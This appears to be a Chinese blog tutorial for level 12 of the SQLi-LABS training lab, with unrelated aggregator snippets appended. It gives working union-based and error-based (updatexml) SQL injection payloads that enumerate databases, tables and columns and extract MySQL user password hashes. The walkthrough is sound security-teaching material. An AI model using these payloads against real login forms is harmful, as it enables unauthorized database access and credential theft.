SQLi LABS Less-12 联合注入+报错注入

2023-11-15

第十二关是双引号+括号的字符型注入 , 推荐使用联合注入、报错注入。

方式一:联合注入

参考文章:联合注入使用详解 原理+步骤+实战教程

第一步、判断注入类型

用户名输入:a") or 1 -- a

密码随便输入:1,页面正常显示

用户名输入: a") or 0 -- a

密码随便输入:1,页面异常(空)显示

第二步、判断字段数

用户名依次输入:

a") order by 1 -- a

a") order by 2 -- a

a") order by 3 -- a

密码随便输入:1

 按照第三个字段排序时开始报错,确定返回结果的字段数为 3.

第三步、判断显示位

用户名输入:a") union select 1,2 -- a

密码随便输入:1

 第四步、脱库

获取所有数据库,用户名输入:

a") union select 1,(
    select group_concat(schema_name) 
    from information_schema.schemata
) -- a

密码随便输入:1

 获取 security 库的所有表,用户名输入:

a") union select 1,(
    select group_concat(table_name) 
    from information_schema.tables
    where table_schema='security'
) -- a

密码随便输入:1

 获取 users 表的所有字段,用户名输入:

a") union select 1,(
    select group_concat(column_name) 
    from information_schema.columns
    where table_schema='security' and table_name='users'
) -- a

密码随便输入:1

 获取数据库用户的密码,用户名输入:

a") union select 1,(
    select group_concat(user,password) 
    from mysql.user where user = 'mituan'
) -- a

密码随便输入:1

方式二:报错注入

参考文章:报错注入使用详解 原理+步骤+实战教程

第一步、判断是否报错

用户名输入:a"

密码随便输入:1

页面显示数据库的报错信息,适合使用报错注入。

第二步、判断报错条件

用户名输入:a") and updatexml(1,0x7e,3) -- a

密码随便输入:1

页面正常显示报错信息,确定报错函数可用。

第三步、脱库

获取所有数据库,用户名输入:

a") and updatexml(1,
	concat(0x7e,
      substr((
          select group_concat(schema_name) 
          from information_schema.schemata
      ),33,32))
,3) -- a

密码随便输入:1

 获取 security 库的所有表,用户名输入:

a") and updatexml(1,
	concat(0x7e,
		substr((
			select group_concat(table_name) 
			from information_schema.tables
        	where table_schema='security'
		)
	,1,32))
,3) -- a

密码随便输入:1

获取 users 表的所有字段,用户名输入:

a") and updatexml(1,
	concat(0x7e,
		substr((
			select group_concat(column_name) 
			from information_schema.columns
        	where table_schema='security' and table_name='users'
		)
	,1,32))
,3) -- a

密码随便输入:1

获取数据库用户的密码,用户名输入;

a") and updatexml(1,
	concat(0x7e,(
        select group_concat(user,password) 
        from mysql.user where user = 'mituan'
    ))
,3) -- a

密码随便输入:1

推荐专栏

《网络安全快速入门》用最短的时间,掌握最核心的网络安全技术。​​​​​​​

《靶场通关教程》 各种靶场的通关教程,持续更新……​​​​​​​

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLi LABS Less-12 联合注入+报错注入 的相关文章

  • C语言方波转换正弦波,方波转换成正弦波电路

    方波转换成正弦波电路 即利用RDD104可选的4各十进制CMOS除法器和一个MSFS5 开关电容滤波器来构建一个双芯片 失真率为0 2 的正弦波源 RDD104有两个引脚 可以从四个除法器divide by 10 divide by 100
  • 离线数仓经验之谈三-数仓流程规范

    数仓流程规范 目录 1 目的 2 适用范围 3 总体流程 3 1 ETL开发流程 3 1 1 需求分析 3 1 2 数据来源与数据探查 3 1 3 数据模型设计 3 1 4 ETL开发 3 1 5 测试 3 1 6 ETL上线 3 1 7

随机推荐

  • 想入手显示器,恳请粉丝带我推荐,必有重谢!

    坏了一个显示器 本来家里好好的两个显示器 其中1个有点雪花亮线 当时特地买的EIZO 考虑已无维修价值 打算换一个显示器 但是某宝搜了一圈 已经被各种参数和品牌搞晕掉 2K 4K 准4K IPS 60hz 144HZ 高刷 曲面屏 带鱼屏
  • 队列数据类型及Python实现

    1 队列的实现 队列是一种有次序的数据集合 其特征是 新数据项的添加总发生在一端 通常称为尾端 rear 而现存数据类型的移除总发生在另一端 通常称为首段 front 当数据项加入队列 首先出现在队尾 随着队首数据项的移除 它逐渐接近队首
  • NEZHA知识点

    1 华为NEZHA 主要是将bert之后预训练模型的长处拼接在一起 1 相对位置编码 Bert的位置编码是直接初始化一个embedding 然后通过预训练去学的 是固定位置编码 NEZHA使用函数式相对位置编码 在qk时 加在k上 表示q和
  • Trie树(字典树,单词查找树)

    例题引入 题目传送门于是他错误的点名开始了 题目大意 给出n个单词 有m个询问 每次给出一个单词 如果这个单词出现过且是第一次出现 输出 OK 如果这个单词没有出现过 输出 WRONG 如果这个单词出现过但不是第一次出现 输出 REPEAT
  • how to

    打开一个virtualfile VirtualFile file Project project OpenFileDescriptior descriptor new OpenFileDescriptior file navigate Fi
  • PROFIBUS DP从站开发 VPC3源程序分析---vpc3_get_dinbufptr (void)函数

    UBYTE PTR ATTR vpc3 get dinbufptr void 以下程序注释由成都地质学院霸王猫添加 引用时请尊重作者劳动成果 标明引用者来自成都地质学院霸王猫 UBYTE PTR ATTR vpc3 get dinbufpt
  • hadoop habse集群增加磁盘空间

    最近项目上采集的数据量超出预期 hbase集群中的datanode节点磁盘使用过快 基本都超过50 按现有的使用频率来看 预计只能继续支撑3个月左右 考虑着要加新的硬盘 但是却被这么一个小问题折腾了好一会才解决 特地在此记录一下 cento
  • Webstorm的介绍

    WebStorm 是什么 WebStorm 是jetbrains公司旗下一款JavaScript 开发工具 被广大中国JS开发者誉为 Web前端开发神器 最强大的HTML5编辑器 最智能的JavaScript IDE 等 与IntelliJ
  • 蜗牛君漫聊动态布局框架(三):适配器与创建者

    大家好 欢迎来到蜗牛君漫聊动态布局框架专题 上篇文章中我们介绍完了框架的核心功能实现 本篇继续介绍剩下的所有功能 不同类型ViewHolder的动态创建已经完成 接下来我们要实现数据与布局的中间件 适配器 Adapter 代码实现 中间件
  • anaconda所有版本大全

    今天在整理的时候把自己的anaconda搞废了 所以用了万能的方法 重装 但是面临装了官网的最新版 发现出现很多的小问题 不是缺少这就是缺少那 python的版本也是最新的3 8 用起来很不习惯 于是想到了降低python版本 但是在实际的
  • keil C51 常见错误和警告

    C51编译器识别错类型有三种 1 致命错误 伪指令控制行有错 访问不存在的原文件或头文件等 2 语法及语义错误 语法和语义错误都发生在原文件中 有这类错误时 给出 提示但不产生目标文件 错误超过一定数量才终止编译 3 警告 警告出现并不影响
  • 最强大脑记忆法

    3 14159 26535 89793 23846 26433 83279 50288 41971 69399 37510 58209 74944 上面这个是故事摄影的方法 10个记忆宫殿来记20个数字 汽车的记忆宫殿 1前轮 2车灯 3车
  • transformer位置编码最详细的解析

    位置编码positional encoding 1 位置编码是什么 为什么需要它 2 transformer提出的位置编码方法 3 直觉 4 其他细节 5 相对位置 6 常见问题解答 1 位置编码是什么 为什么需要它 位置和词语的顺序是任何
  • STL——set容器、map容器

    初识STL set容器 multiset容器 set容器 构造和赋值 set容器 大小和交换 set容器 插入和删除 set容器的查找和统计 set和multiset的区别 set的相关操作源码 multiset的相关操作源码 pair使用
  • Acwing算法基础课知识点

    知识点基础算法 代码模板链接 常用代码模板1 基础算法 排序 二分 高精度 前缀和与差分 双指针算法 位运算 离散化 区间合并 数据结构 代码模板链接 常用代码模板2 数据结构 链表与邻接表 树与图的存储 栈与队列 单调队列 单调栈 kmp
  • Android插件化的探索

    简介 对于App而言 所谓的插件化 个人的理解就是把一个完整的App拆分成宿主和插件两大部分 我们在宿主app运行时可以动态的载入或者替换插件的部分 插件不仅是对宿主功能的扩展而且还能减小宿主的负担 所谓的宿主就是运行的app 插件即宿主运
  • 几种本地存储方式

    浏览器本地存储的容器 1 cookie 2 sessionStorage 3 localStorage cookie cookie 浏览器早期存储数据容器 主要用于 存放用户名和密码 特点 容量小 4kb 操作繁琐 name zs pass
  • android studio安装automotive模拟器

    添加源 打开android studio的SDK Manager 选择SDK Update Sites选项卡 点击Add 弹出地址设置界面 添加polestar2 sys img Name填写 Polestar 2 System Image
  • RabbitMQ如何保证消息的顺序性【重点】

    1 1 保证顺序性的意义 消息队列中的若干消息如果是对同一个数据进行操作 这些操作具有前后的关系 必须要按前后的顺序执行 否则就会造成数据异常 举例 比如通过mysql binlog进行两个数据库的数据同步 由于对数据库的数据操作是具有顺序
  • SQLi LABS Less-12 联合注入+报错注入

    第十二关是双引号 括号的字符型注入 推荐使用联合注入 报错注入 方式一 联合注入 参考文章 联合注入使用详解 原理 步骤 实战教程 第一步 判断注入类型 用户名输入 a or 1 a 密码随便输入 1 页面正常显示 用户名输入 a or 0